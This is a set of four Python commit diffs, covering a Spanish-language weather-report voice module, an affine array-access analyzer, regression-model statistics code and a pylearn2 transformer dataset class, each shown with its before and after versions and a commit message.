        self.aprsnet = AprsNet()

        self.conf = ConfigParser.ConfigParser()
        self.path = "configuration/general.config"
        self.conf.read(self.path)

        self.agent = self.conf.get("weather", "agent")

        self.speaker = voicesynthetizer

    def aprspacket(self):

        self.aprsnet.send_packet("XE1GYQ-13>APRS,TCPIP*,qAS,XE1GYQ-10:@232353z2036.96N/10324.58W_000/000g000t000r000p000P000h00b00000Cancun Project Experimental Weather Station")

    def aprsfi(self):

        print '[Cancun] Weather aprs.fi'

        callsign = self.conf.get("weather", "aprsficallsign")
        location = self.conf.get("weather", "aprsfilocation")

        self.aprsfi.callsignset(callsign)
        self.aprsfi.dataset('wx')
        data = self.aprsfi.query()

        for entry in data['entries']:

            message = "Reporte del clima en la ciudad de " + location
            message = message + ", Datos de a p r s punto fi"
            message = message + ", Estacion meteorologica, " + ' '.join(self.phonetic.decode(callsign))
            message = message + ", Temperatura, " + entry['temp'] + " grados centigrados"
            message = message + ", Humedad relativa, " + entry['humidity'] + " por ciento"
            message = message + ", Presion Atmosferica, " + entry['pressure'] + " milibares"
            message = message + ", Direccion del viento, " + entry['wind_direction'] + " grados"
            message = message + ", Velocidad del viento, " + entry['wind_speed'] + " metros por segundo"
            message = message + ", Rafagas de " + entry['wind_gust'] + " metros por segundo"
            message = message + ", Precipitacion pluvial, " + entry['rain_1h'] + " milimetros"
            self.speaker.speechit(message)

    def yahoo(self):

        print '[Cancun] Weather Yahoo'

        location = self.conf.get("weather", "location")
        result = pywapi.get_weather_from_yahoo(location, 'metric')

        message = "Reporte del Clima en " + result['location']['city']
        message = message + ", Temperatura, " + result['condition']['temp'] + " grados centigrados"
        message = message + ", Presion Atmosferica, " + result['atmosphere']['pressure'] + " milibares"
        message = message + ", Visibilidad, " + result['atmosphere']['visibility'] + " kilometros"
        message = message + ", Humedad, " + result['atmosphere']['humidity'] + " por ciento"
        message = message + ", El Sol se oculta a las " + result['astronomy']['sunset']
        self.speaker.speechit(message)

    def noaa(self):

        print '[Cancun] Weather NOAA'

        location = self.conf.get("weather", "location")
        result = pywapi.get_weather_from_noaa('MMGL')

        message = "Reporte del Clima"
        message = message + ", Temperatura, " + result['temp_c'] + " grados centigrados"
        message = message + ", Humedad, " + result['relative_humidity'] + " por ciento"
        self.speaker.speechit(message)

    def report(self):

        if self.agent == "aprsfi":
                self.aprsfi()
        elif self.agent == "yahoo":
                self.yahoo()
        elif self.agent == "noaa":
                self.noaa()

        self.aprspacket()

    def temperature(self):

        location = self.conf.get("weather", "location")
        result = pywapi.get_weather_from_yahoo(location, 'metric')

        self.speaker.speechit("Temperatura? " + result['condition']['temp'] + " grados centigrados")

# End of File
<commit_msg>Modules: Weather "," Removal<commit_after>#!/usr/bin/python

import ConfigParser
import time
import feedparser
import os
import pywapi
import string
import json
import urllib2
import pprint

from core.aprsfi import AprsFi
from core.aprsnet import AprsNet
from core.voicesynthetizer import VoiceSynthetizer
from core.phonetic import Phonetic

class Weather(object):

    def __init__(self, voicesynthetizer):

        self.phonetic = Phonetic()
        self.aprsfi = AprsFi()
        self.aprsnet = AprsNet()

        self.conf = ConfigParser.ConfigParser()
        self.path = "configuration/general.config"
        self.conf.read(self.path)

        self.agent = self.conf.get("weather", "agent")

        self.speaker = voicesynthetizer

    def aprspacket(self):

        self.aprsnet.send_packet("XE1GYQ-13>APRS,TCPIP*,qAS,XE1GYQ-10:@232353z2036.96N/10324.58W_000/000g000t000r000p000P000h00b00000Cancun Project Experimental Weather Station")

    def aprsfi(self):

        print '[Cancun] Weather aprs.fi'

        callsign = self.conf.get("weather", "aprsficallsign")
        location = self.conf.get("weather", "aprsfilocation")

        self.aprsfi.callsignset(callsign)
        self.aprsfi.dataset('wx')
        data = self.aprsfi.query()

        for entry in data['entries']:

            message = "Reporte del clima en la ciudad de " + location
            message = message + ", Datos de a p r s punto fi"
            message = message + ", Estacion meteorologica, " + ' '.join(self.phonetic.decode(callsign))
            message = message + ", Temperatura " + entry['temp'] + " grados centigrados"
            message = message + ", Humedad relativa " + entry['humidity'] + " por ciento"
            message = message + ", Presion Atmosferica " + entry['pressure'] + " milibares"
            message = message + ", Direccion del viento " + entry['wind_direction'] + " grados"
            message = message + ", Velocidad del viento " + entry['wind_speed'] + " metros por segundo"
            message = message + ", Rafagas de " + entry['wind_gust'] + " metros por segundo"
            message = message + ", Precipitacion pluvial " + entry['rain_1h'] + " milimetros"
            self.speaker.speechit(message)

    def yahoo(self):

        print '[Cancun] Weather Yahoo'

        location = self.conf.get("weather", "location")
        result = pywapi.get_weather_from_yahoo(location, 'metric')

        message = "Reporte del Clima en " + result['location']['city']
        message = message + ", Temperatura " + result['condition']['temp'] + " grados centigrados"
        message = message + ", Presion Atmosferica " + result['atmosphere']['pressure'] + " milibares"
        message = message + ", Visibilidad " + result['atmosphere']['visibility'] + " kilometros"
        message = message + ", Humedad " + result['atmosphere']['humidity'] + " por ciento"
        message = message + ", El Sol se oculta a las " + result['astronomy']['sunset']
        self.speaker.speechit(message)

    def noaa(self):

        print '[Cancun] Weather NOAA'

        location = self.conf.get("weather", "location")
        result = pywapi.get_weather_from_noaa('MMGL')

        message = "Reporte del Clima"
        message = message + ", Temperatura " + result['temp_c'] + " grados centigrados"
        message = message + ", Humedad " + result['relative_humidity'] + " por ciento"
        self.speaker.speechit(message)

    def report(self):

        if self.agent == "aprsfi":
                self.aprsfi()
        elif self.agent == "yahoo":
                self.yahoo()
        elif self.agent == "noaa":
                self.noaa()

        self.aprspacket()

    def temperature(self):

        location = self.conf.get("weather", "location")
        result = pywapi.get_weather_from_yahoo(location, 'metric')

        self.speaker.speechit("Temperatura? " + result['condition']['temp'] + " grados centigrados")

# End of File
<|endoftext|>


<commit_before>"""
affine_access.py

Created by Magnus Morton on 2012-02-12.
(c) Copyright 2012 Magnus Morton.

This file is part of Nest.

Nest is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Nest is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with Nest.  If not, see <http://www.gnu.org/licenses/>.
"""
import ast
import copy

def get_statements(node):
    visitor = SubscriptVisitor()
    visitor.visit(node)
    return visitor.accesses

class SubscriptVisitor(ast.NodeVisitor):
    """
    This visits the index expression of an array access and
    extracts the coefficients of the loop index variables.
    It probably should be called something else.
    TODO: Symbolic Constants
    """

    CONST_KEY = 'const'

    def __init__(self):
        super(SubscriptVisitor, self).__init__()
        self._access = {}
        self._accesses = []
        self.in_subscript = False

    @property
    def access(self):
        return self._access

    @property
    def accesses(self):
        return self._accesses

    def visit_Subscript(self, node):
        target = node.value
        print(node.ctx)
        try:
            self.accesses.append(Statement(target=target, access =self.visit(node.slice), context = node.ctx))
        except:
            pass
        finally:
            pass

    def visit_Index(self, node):
        self.in_subscript = True
        self._access = self.visit(node.value)
        self.in_subscript = False
        return self._access

    def visit_Name(self, node):
        return {node.id:1}

    def visit_Num(self, node):
        if isinstance(node.n, float):
            raise AffineError
        return {SubscriptVisitor.CONST_KEY: node.n}

    def visit_BinOp(self, node):
        if self.in_subscript:
            left_result = self.visit(node.left)
            right_result = self.visit(node.right)
            out = {}
            if isinstance(node.op,ast.Mult):
                if SubscriptVisitor.CONST_KEY in right_result:
                    right_result, left_result = left_result, right_result
                elif SubscriptVisitor.CONST_KEY not in left_result:
                    raise AffineError
                out =  dict_multiply(left_result[SubscriptVisitor.CONST_KEY],
                        right_result)
            elif isinstance(node.op, ast.Add):
                out =  dict_add(left_result, right_result)
            elif isinstance(node.op, ast.Sub):
                out = dict_add(left_result, dict_multiply(-1, right_result))
            else:
                raise AffineError
            return out

    def visit_UnaryOp(self, node):
        result = self.visit(node.operand)
        if isinstance(node.op, ast.USub):
            return dict_multiply(-1, result)

class AffineError(Exception):
    """Thrown when the Access is not obviously affine"""
    pass

def dict_multiply(value, dictionary):
    return {k:value*v for k,v in dictionary.items() }

def dict_add(left, right):
    output = copy.deepcopy(left)
    for k,v in right.items():
        if k in output:
            output[k] += v
        else:
            output[k] = v
    return output

class Statement(object):
    (WRITE, READ) = range(2)

    def __init__(self, target=None, access=None, context=None):
        self._target = target
        self._access = access
        self._context = None
        if isinstance(context, ast.Store):
            self._context = Statement.WRITE
        if isinstance(context, ast.Load):
            self._context = Statement.READ

    @property
    def target(self):
        return self._target

    @property
    def access(self):
        return self._access

    @property
    def context(self):
        return self._context

def is_dependent(stmt1, stmt2):
    if stmt1.context is Statement.READ and stmt2.context is Statement.READ:
        return False

<commit_msg>statement now has pointer to its environment<commit_after>"""
affine_access.py

Created by Magnus Morton on 2012-02-12.
(c) Copyright 2012 Magnus Morton.

This file is part of Nest.

Nest is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Nest is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with Nest.  If not, see <http://www.gnu.org/licenses/>.
"""
import ast
import copy

def get_statements(node):
    visitor = SubscriptVisitor()
    visitor.visit(node)
    return visitor.accesses

class SubscriptVisitor(ast.NodeVisitor):
    """
    This visits the index expression of an array access and
    extracts the coefficients of the loop index variables.
    It probably should be called something else.
    TODO: Symbolic Constants
    """

    CONST_KEY = 'const'

    def __init__(self):
        super(SubscriptVisitor, self).__init__()
        self._access = {}
        self._accesses = []
        self.in_subscript = False

    @property
    def access(self):
        return self._access

    @property
    def accesses(self):
        return self._accesses

    def visit_Subscript(self, node):
        target = node.value
        print(node.ctx)
        try:
            self.accesses.append(Statement(target=target, access =self.visit(node.slice), context = node.ctx))
        except:
            pass
        finally:
            pass

    def visit_Index(self, node):
        self.in_subscript = True
        self._access = self.visit(node.value)
        self.in_subscript = False
        return self._access

    def visit_Name(self, node):
        return {node.id:1}

    def visit_Num(self, node):
        if isinstance(node.n, float):
            raise AffineError
        return {SubscriptVisitor.CONST_KEY: node.n}

    def visit_BinOp(self, node):
        if self.in_subscript:
            left_result = self.visit(node.left)
            right_result = self.visit(node.right)
            out = {}
            if isinstance(node.op,ast.Mult):
                if SubscriptVisitor.CONST_KEY in right_result:
                    right_result, left_result = left_result, right_result
                elif SubscriptVisitor.CONST_KEY not in left_result:
                    raise AffineError
                out =  dict_multiply(left_result[SubscriptVisitor.CONST_KEY],
                        right_result)
            elif isinstance(node.op, ast.Add):
                out =  dict_add(left_result, right_result)
            elif isinstance(node.op, ast.Sub):
                out = dict_add(left_result, dict_multiply(-1, right_result))
            else:
                raise AffineError
            return out

    def visit_UnaryOp(self, node):
        result = self.visit(node.operand)
        if isinstance(node.op, ast.USub):
            return dict_multiply(-1, result)

class AffineError(Exception):
    """Thrown when the Access is not obviously affine"""
    pass

def dict_multiply(value, dictionary):
    return {k:value*v for k,v in dictionary.items() }

def dict_add(left, right):
    output = copy.deepcopy(left)
    for k,v in right.items():
        if k in output:
            output[k] += v
        else:
            output[k] = v
    return output

class Statement(object):
    (WRITE, READ) = range(2)

    def __init__(self, target=None, access=None, context=None):
        self._target = target
        self._access = access
        self._context = None
        self._loop_environment = None
        if isinstance(context, ast.Store):
            self._context = Statement.WRITE
        if isinstance(context, ast.Load):
            self._context = Statement.READ

    @property
    def loop_environment(self):
        return self._loop_environment

    @loop_environment.setter
    def loop_environment(self, environment):
        self._loop_environment = environment

    @property
    def target(self):
        return self._target

    @property
    def access(self):
        return self._access

    @property
    def context(self):
        return self._context

def is_dependent(stmt1, stmt2):
    if stmt1.context is Statement.READ and stmt2.context is Statement.READ:
        return False

<|endoftext|>


<commit_before>import numpy as N
import numpy.linalg as L
import enthought.traits as traits
from model import Model
import utils

class RegressionOutput(traits.HasTraits):

    """
    A generic output for regression. Key feature is that it has
    an \'extract\' method which is called on an instance of
    RegressionModelResults.
    """

    Tmax = traits.Float(100.)
    Tmin = traits.Float(-100.)
    Fmax = traits.Float(100.)

    def __init__(self, iterator, **keywords):
        self.iterator = iter(iterator)
        traits.HasTraits(**keywords)

    def __iter__(self):
        return self

    def extract(self, results):
        return 0.

class RegressionModelResults(traits.HasTraits):
    """
    A container for results from fitting a regression model.
    Key attributes
    RegressionModelResults.
    """

    def __init__(self):
        return

    def t(self, column=None):
        if not hasattr(self, '_sd'):
            self.sd()
        if column is None:
            _t = N.zeros(_beta.shape, N.Float)
            for i in range(self.beta.shape[0]):
                _t[i] = _beta[i] / (self._sd * self.sqrt(self.normalized_cov_beta[i,i]))
        else:
            i = column
            _t = _beta[i] / (self._sd * self.sqrt(self.normalized_cov_beta[i,i]))
        return _t

    def sd(self):
        if not hasattr(self, 'resid'):
            raise ValueError, 'need residuals to estimate standard deviation'
        self._sd = N.sqrt(self.scale)

    def norm_resid(self):
        if not hasattr(self, 'resid'):
            raise ValueError, 'need normalized residuals to estimate standard deviation'
        if not hasattr(self, '_sd'):
            self.sd()
        test = N.greater(_sd, 0)
        sdd = utils.inv(self._sd) / N.sqrt(self.df)
        norm_resid = self.resid * N.multiply.outer(N.ones(Y.shape[0]), sdd)
        return norm_resid

    def predict(self, design):
        return N.dot(design, self.beta)

    def Rsq(self):
        """
        Return the R^2 value for each row of the response Y.
        """
        self.Ssq = N.std(Y)**2
        Rsq = self.scale / self.Ssq
        return Rsq

    def cov_beta(self, matrix=None, column=None, scale=None):
        """
        Returns the variance/covariance matrix of a linear contrast
        of the estimates of beta, multiplied by scale which
        will usually be an estimate of sigma^2. The covariance of
        interest is either specified as a (set of) column(s) or a matrix.
        """
        if scale is None:
            scale = 1.

        if column is not None:
            return self.normalized_cov_beta[column, column] * scale

        elif matrix is not None:
            tmp = N.dot(matrix, N.dot(self.normalized_cov_beta, N.transpose(matrix)))
            return tmp * scale

    def Tcontrast(self, matrix, t=True, sd=True, scale=None):
        """
        Compute a Tcontrast for a row vector matrix. To get the t-statistic
        for a single column, use self.t(column=column).
        """

        if not hasattr(self, '_sd'):
            self.sd()
        results = ContrastResults()
        results.effect = N.dot(matrix, self.beta)
        if sd:
            results.sd = N.sqrt(self.cov_beta(matrix=matrix)) * self._sd
        if t:
            results.t = results.effect * utils.inv(results.sd)
        return results

    def Fcontrast(self, matrix, eff=True, t=True, sd=True, scale=None, invcov=None):
        """
        Compute an Fcontrast for a contrast matrix. To get the t-statistic
        for a single column, use self.t(column=column).

        Here, matrix M is assumed to be non-singular. More precisely,

        M pX pX' M'

        is assumed invertible. Here, pX is the generalized inverse of the
        design matrix of the model. There can be problems in non-OLS models where
        the rank of the covariance of the noise is not full.

        See the statistics.contrast module to see how to specify contrasts.
        In particular, the matrices from these contrasts will always be non-singular
        in the sense above.

        """

        results = ContrastResults()
        cbeta = N.dot(matrix, self.beta)

        q = matrix.shape[0]
        if invcov is None:
            invcov = L.inverse(self.cov_beta(matrix=matrix, scale=1.0))
        results.F = N.add.reduce(N.dot(invcov, cbeta) * cbeta, 0) / (q * self.scale)
        return results

class ContrastResults:
    """
    Results from looking at a particular contrast of coefficients in
    a regression model. The class does nothing, it is a container
    for the results from T and F contrasts.
    """
    pass

class OLSModel(Model):

    """
    A simple ordinary least squares model.
    """

    design = traits.Any()

    def __init__(self, **keywords):
        Model.__init__(self, **keywords)
        try:
            self.setup()
        except:
            pass

    def _design_changed(self):
        self.wdesign = self.design

    def _wdesign_changed(self):
        self.setup()

    def setup(self):
        self.calc_beta = L.generalized_inverse(self.wdesign)
        self.normalized_cov_beta = N.dot(self.calc_beta, N.transpose(self.calc_beta))
        self._df_resid = self.wdesign.shape[0] - N.add.reduce(N.diagonal(N.dot(self.calc_beta, self.wdesign)))

    def initialize(self, design, **keywords):
        self.design = design

    def df_resid(self, **keywords):
        return self._df_resid

    def fit(self, Y, **keywords):

        if not hasattr(self, 'calc_beta'):
            self.setup()

        if hasattr(self, 'whiten'):
            Z = self.whiten(Y)
        else:
            Z = Y

        lfit = RegressionModelResults()

        lfit.beta = N.dot(self.calc_beta, Z)
        lfit.normalized_cov_beta = self.normalized_cov_beta
        lfit.df_resid = self.df_resid
        lfit.resid = Z - N.dot(self.wdesign, lfit.beta)

        lfit.scale = N.add.reduce(lfit.resid**2) / lfit.df_resid()

        lfit.Z = Z # just in case

        return lfit

class ARModel(OLSModel):
    """
    A regression model with an AR(1) covariance structure.

    Eventually, this will be AR(p) -- all that is needed is to
    determine the self.whiten method from AR(p) parameters.
    """

    rho = traits.Float() # for now just do AR(1) -- not hard to do AR(p)
                         # the only the needs to be done is the whiten method
                         # for this -- we should use the cholesky trick of
                         # a pxp matrix

    def _design_changed(self):
        self.wdesign = self.whiten(self.design)

    def _rho_changed(self):
        self._design_changed()

    def whiten(self, X):
        factor = 1. / N.sqrt(1 - self.rho**2)
        return N.concatenate([[X[0]], (X[1:] - self.rho * X[0:-1]) * factor])

def getcontrast(T, D, pinv=None):
    """
    From an n x p design matrix D and a matrix T, determine a p x q
    contrast matrix C where q determines a contrast of full rank, i.e. the
    n x q matrix

    dot(D, C)

    is full rank.

    T must satisfy either T.shape[0] == n or T.shape[1] == p.
    """

    n, p = D.shape

    if T.shape[0] != n and T.shape[1] != p:
        raise ValueError, 'shape of T and D mismatched'

    if pinv is None:
        pinv = L.generalized_inverse(D)

    Tp = N.dot(D, N.dot(pinv, T))

    if N.allclose(Tp, T):
        # fullrank case -- i.e. each
        # column is in the column space of self.design
        # to get exactly the linear combinations in T

        C = N.transpose(N.dot(pinv, T))
    else:
        # non-fullrank
        # get a fullrank version of T and
        # return a smaller contrast matrix

        Tp = utils.fullrank(Tp)
        C = N.transpose(N.dot(pinv, Tp))

    return N.squeeze(C)
<commit_msg>little deletes -- more informative warning for analyze clobber...<commit_after>import numpy as N
import numpy.linalg as L
import enthought.traits as traits
from model import Model
import utils

class RegressionOutput(traits.HasTraits):

    """
    A generic output for regression. Key feature is that it has
    an \'extract\' method which is called on an instance of
    RegressionModelResults.
    """

    Tmax = traits.Float(100.)
    Tmin = traits.Float(-100.)
    Fmax = traits.Float(100.)

    def __init__(self, iterator, **keywords):
        self.iterator = iter(iterator)
        traits.HasTraits(**keywords)

    def __iter__(self):
        return self

    def extract(self, results):
        return 0.

class RegressionModelResults(traits.HasTraits):
    """
    A container for results from fitting a regression model.
    Key attributes
    RegressionModelResults.
    """

    def __init__(self):
        return

    def t(self, column=None):
        if not hasattr(self, '_sd'):
            self.sd()
        if column is None:
            _t = N.zeros(_beta.shape, N.Float)
            for i in range(self.beta.shape[0]):
                _t[i] = _beta[i] / (self._sd * self.sqrt(self.normalized_cov_beta[i,i]))
        else:
            i = column
            _t = _beta[i] / (self._sd * self.sqrt(self.normalized_cov_beta[i,i]))
        return _t

    def sd(self):
        if not hasattr(self, 'resid'):
            raise ValueError, 'need residuals to estimate standard deviation'
        self._sd = N.sqrt(self.scale)

    def norm_resid(self):
        if not hasattr(self, 'resid'):
            raise ValueError, 'need normalized residuals to estimate standard deviation'
        if not hasattr(self, '_sd'):
            self.sd()
        test = N.greater(_sd, 0)
        sdd = utils.inv(self._sd) / N.sqrt(self.df)
        norm_resid = self.resid * N.multiply.outer(N.ones(Y.shape[0]), sdd)
        return norm_resid

    def predict(self, design):
        return N.dot(design, self.beta)

    def Rsq(self):
        """
        Return the R^2 value for each row of the response Y.
        """
        self.Ssq = N.std(Y)**2
        Rsq = self.scale / self.Ssq
        return Rsq

    def cov_beta(self, matrix=None, column=None, scale=None):
        """
        Returns the variance/covariance matrix of a linear contrast
        of the estimates of beta, multiplied by scale which
        will usually be an estimate of sigma^2. The covariance of
        interest is either specified as a (set of) column(s) or a matrix.
        """
        if scale is None:
            scale = 1.

        if column is not None:
            return self.normalized_cov_beta[column, column] * scale

        elif matrix is not None:
            tmp = N.dot(matrix, N.dot(self.normalized_cov_beta, N.transpose(matrix)))
            return tmp * scale

    def Tcontrast(self, matrix, t=True, sd=True, scale=None):
        """
        Compute a Tcontrast for a row vector matrix. To get the t-statistic
        for a single column, use self.t(column=column).
        """

        if not hasattr(self, '_sd'):
            self.sd()
        results = ContrastResults()
        results.effect = N.dot(matrix, self.beta)
        if sd:
            results.sd = N.sqrt(self.cov_beta(matrix=matrix)) * self._sd
        if t:
            results.t = results.effect * utils.inv(results.sd)
        return results

    def Fcontrast(self, matrix, eff=True, t=True, sd=True, scale=None, invcov=None):
        """
        Compute an Fcontrast for a contrast matrix. To get the t-statistic
        for a single column, use self.t(column=column).

        Here, matrix M is assumed to be non-singular. More precisely,

        M pX pX' M'

        is assumed invertible. Here, pX is the generalized inverse of the
        design matrix of the model. There can be problems in non-OLS models where
        the rank of the covariance of the noise is not full.

        See the statistics.contrast module to see how to specify contrasts.
        In particular, the matrices from these contrasts will always be non-singular
        in the sense above.

        """

        results = ContrastResults()
        cbeta = N.dot(matrix, self.beta)

        q = matrix.shape[0]
        if invcov is None:
            invcov = L.inverse(self.cov_beta(matrix=matrix, scale=1.0))
        results.F = N.add.reduce(N.dot(invcov, cbeta) * cbeta, 0) / (q * self.scale)
        return results

class ContrastResults:
    """
    Results from looking at a particular contrast of coefficients in
    a regression model. The class does nothing, it is a container
    for the results from T and F contrasts.
    """
    pass

class OLSModel(Model):

    """
    A simple ordinary least squares model.
    """

    design = traits.Any()

    def __init__(self, **keywords):
        Model.__init__(self, **keywords)
        try:
            self.setup()
        except:
            pass

    def _design_changed(self):
        self.wdesign = self.design

    def _wdesign_changed(self):
        self.setup()

    def setup(self):
        self.calc_beta = L.generalized_inverse(self.wdesign)
        self.normalized_cov_beta = N.dot(self.calc_beta, N.transpose(self.calc_beta))
        self._df_resid = self.wdesign.shape[0] - N.add.reduce(N.diagonal(N.dot(self.calc_beta, self.wdesign)))

    def initialize(self, design, **keywords):
        self.design = design

    def df_resid(self, **keywords):
        return self._df_resid

    def fit(self, Y, **keywords):

        if not hasattr(self, 'calc_beta'):
            self.setup()

        if hasattr(self, 'whiten'):
            Z = self.whiten(Y)
        else:
            Z = Y

        lfit = RegressionModelResults()

        lfit.beta = N.dot(self.calc_beta, Z)
        lfit.normalized_cov_beta = self.normalized_cov_beta
        lfit.df_resid = self.df_resid
        lfit.resid = Z - N.dot(self.wdesign, lfit.beta)

        lfit.scale = N.add.reduce(lfit.resid**2) / lfit.df_resid()

        lfit.Z = Z # just in case

        return lfit

class ARModel(OLSModel):
    """
    A regression model with an AR(1) covariance structure.

    Eventually, this will be AR(p) -- all that is needed is to
    determine the self.whiten method from AR(p) parameters.
    """

    rho = traits.Float() # for now just do AR(1) -- not hard to do AR(p)
                         # the only the needs to be done is the whiten method
                         # for this -- we should use the cholesky trick of
                         # a pxp matrix

    def _design_changed(self):
        self.wdesign = self.whiten(self.design)

    def _rho_changed(self):
        self._design_changed()

    def whiten(self, X):
        factor = 1. / N.sqrt(1 - self.rho**2)
        return N.concatenate([[X[0]], (X[1:] - self.rho * X[0:-1]) * factor])

def getcontrast(T, D, pinv=None):
    """
    From an n x p design matrix D and a matrix T, tries
    to determine a p x q contrast matrix C which
    determines a contrast of full rank, i.e. the
    n x q matrix

    dot(transpose(C), pinv(D))

    is full rank.

    T must satisfy either T.shape[0] == n or T.shape[1] == p.

    """

    n, p = D.shape

    if T.shape[0] != n and T.shape[1] != p:
        raise ValueError, 'shape of T and D mismatched'

    if pinv is None:
        pinv = L.generalized_inverse(D)

    Tp = N.dot(D, N.dot(pinv, T))

    if N.allclose(Tp, T):
        # fullrank case -- i.e. each
        # column is in the column space of self.design
        # to get exactly the linear combinations in T

        C = N.transpose(N.dot(pinv, T))
    else:
        # non-fullrank
        # get a fullrank version of T and
        # return a smaller contrast matrix

        Tp = utils.fullrank(Tp)
        C = N.transpose(N.dot(pinv, Tp))

    covC = N.dot(C, N.dot(N.dot(pinv, N.transpose(pinv)), N.transpose(C)))

    print utils.rank(covC), covC.shape
    if utils.rank(covC) != covC.shape[0]:
        raise ValueError, 'contrast not estimable'

    return N.squeeze(C)
<|endoftext|>


<commit_before>__authors__ = "Ian Goodfellow"
__copyright__ = "Copyright 2010-2012, Universite de Montreal"
__credits__ = ["Ian Goodfellow"]
__license__ = "3-clause BSD"
__maintainer__ = "Ian Goodfellow"
__email__ = "goodfeli@iro"
from pylearn2.datasets.dataset import Dataset

class TransformerDataset(Dataset):
    """
        A dataset that applies a transformation on the fly
        as examples are requested.
    """
    def __init__(self, raw, transformer, cpu_only = False,
            space_preserving=False):
        """
            raw: a pylearn2 Dataset that provides raw data
            transformer: a pylearn2 Block to transform the data
        """
        self.__dict__.update(locals())
        del self.self

    def get_batch_design(self, batch_size, include_labels=False):
        raw = self.raw.get_batch_design(batch_size, include_labels)
        if include_labels:
            X, y = raw
        else:
            X = raw
        X = self.transformer.perform(X)
        if include_labels:
            return X, y
        return X

    def get_test_set(self):
        return TransformerDataset(raw=self.raw.get_test_set(),
                transformer=self.transformer,
                cpu_only=self.cpu_only,
                space_preserving=self.space_preserving)

    def get_batch_topo(self, batch_size):
        """
        If the transformer has changed the space, we don't have a good
        idea of how to do topology in the new space.
        If the transformer just changes the values in the original space,
        we can have the raw dataset provide the topology.
        """
        X = self.get_batch_design(batch_size)
        if self.space_preserving:
            return self.raw.get_topological_view(X)
        return X.reshape(X.shape[0],X.shape[1],1,1)

    def iterator(self, mode=None, batch_size=None, num_batches=None,
                 topo=None, targets=None, rng=None):

        raw_iterator = self.raw.iterator(mode, batch_size, num_batches, topo, targets, rng)

        final_iterator = TransformerIterator(raw_iterator, self)

        return final_iterator

    def has_targets(self):
        if isinstance(self.raw, TransformerDataset):
            return self.raw.has_targets()
        else:
            return self.raw.y is not None

    def adjust_for_viewer(self, X):
        if self.space_preserving:
            return self.raw.adjust_for_viewer(X)
        return X

    def get_weights_view(self, *args, **kwargs):
        if self.space_preserving:
            return self.raw.get_weights_view(*args, **kwargs)
        raise NotImplementedError()

    def get_topological_view(self, *args, **kwargs):
        if self.space_preserving:
            return self.raw.get_weights_view(*args, **kwargs)
        raise NotImplementedError()

    def adjust_to_be_viewed_with(self, *args, **kwargs):
        return self.raw.adjust_to_be_viewed_with(*args, **kwargs)

class TransformerIterator(object):

    def __init__(self, raw_iterator, transformer_dataset):
        self.raw_iterator = raw_iterator
        self.transformer_dataset = transformer_dataset
        self.stochastic = raw_iterator.stochastic
        self.uneven = raw_iterator.uneven
        self._targets = raw_iterator._targets

    def __iter__(self):
        return self

    def next(self):

        raw_batch = self.raw_iterator.next()

        if self.raw_iterator._targets:
            rval = (self.transformer_dataset.transformer.perform(raw_batch[0]), raw_batch[1])
        else:
            rval = self.transformer_dataset.transformer.perform(raw_batch)

        return rval

    @property
    def num_examples(self):
        return self.raw_iterator.num_examples
<commit_msg>Remove unnecessary if<commit_after>__authors__ = "Ian Goodfellow"
__copyright__ = "Copyright 2010-2012, Universite de Montreal"
__credits__ = ["Ian Goodfellow"]
__license__ = "3-clause BSD"
__maintainer__ = "Ian Goodfellow"
__email__ = "goodfeli@iro"
from pylearn2.datasets.dataset import Dataset

class TransformerDataset(Dataset):
    """
        A dataset that applies a transformation on the fly
        as examples are requested.
    """
    def __init__(self, raw, transformer, cpu_only = False,
            space_preserving=False):
        """
            raw: a pylearn2 Dataset that provides raw data
            transformer: a pylearn2 Block to transform the data
        """
        self.__dict__.update(locals())
        del self.self

    def get_batch_design(self, batch_size, include_labels=False):
        raw = self.raw.get_batch_design(batch_size, include_labels)
        if include_labels:
            X, y = raw
        else:
            X = raw
        X = self.transformer.perform(X)
        if include_labels:
            return X, y
        return X

    def get_test_set(self):
        return TransformerDataset(raw=self.raw.get_test_set(),
                transformer=self.transformer,
                cpu_only=self.cpu_only,
                space_preserving=self.space_preserving)

    def get_batch_topo(self, batch_size):
        """
        If the transformer has changed the space, we don't have a good
        idea of how to do topology in the new space.
        If the transformer just changes the values in the original space,
        we can have the raw dataset provide the topology.
        """
        X = self.get_batch_design(batch_size)
        if self.space_preserving:
            return self.raw.get_topological_view(X)
        return X.reshape(X.shape[0],X.shape[1],1,1)

    def iterator(self, mode=None, batch_size=None, num_batches=None,
                 topo=None, targets=None, rng=None):

        raw_iterator = self.raw.iterator(mode, batch_size, num_batches, topo, targets, rng)

        final_iterator = TransformerIterator(raw_iterator, self)

        return final_iterator

    def has_targets(self):
        return self.raw.has_targets()

    def adjust_for_viewer(self, X):
        if self.space_preserving:
            return self.raw.adjust_for_viewer(X)
        return X

    def get_weights_view(self, *args, **kwargs):
        if self.space_preserving:
            return self.raw.get_weights_view(*args, **kwargs)
        raise NotImplementedError()

    def get_topological_view(self, *args, **kwargs):
        if self.space_preserving:
            return self.raw.get_weights_view(*args, **kwargs)
        raise NotImplementedError()

    def adjust_to_be_viewed_with(self, *args, **kwargs):
        return self.raw.adjust_to_be_viewed_with(*args, **kwargs)

class TransformerIterator(object):

    def __init__(self, raw_iterator, transformer_dataset):
        self.raw_iterator = raw_iterator
        self.transformer_dataset = transformer_dataset
        self.stochastic = raw_iterator.stochastic
        self.uneven = raw_iterator.uneven
        self._targets = raw_iterator._targets

    def __iter__(self):
        return self

    def next(self):

        raw_batch = self.raw_iterator.next()

        if self.raw_iterator._targets:
            rval = (self.transformer_dataset.transformer.perform(raw_batch[0]), raw_batch[1])
        else:
            rval = self.transformer_dataset.transformer.perform(raw_batch)

        return rval

    @property
    def num_examples(self):
        return self.raw_iterator.num_examples
<|endoftext|>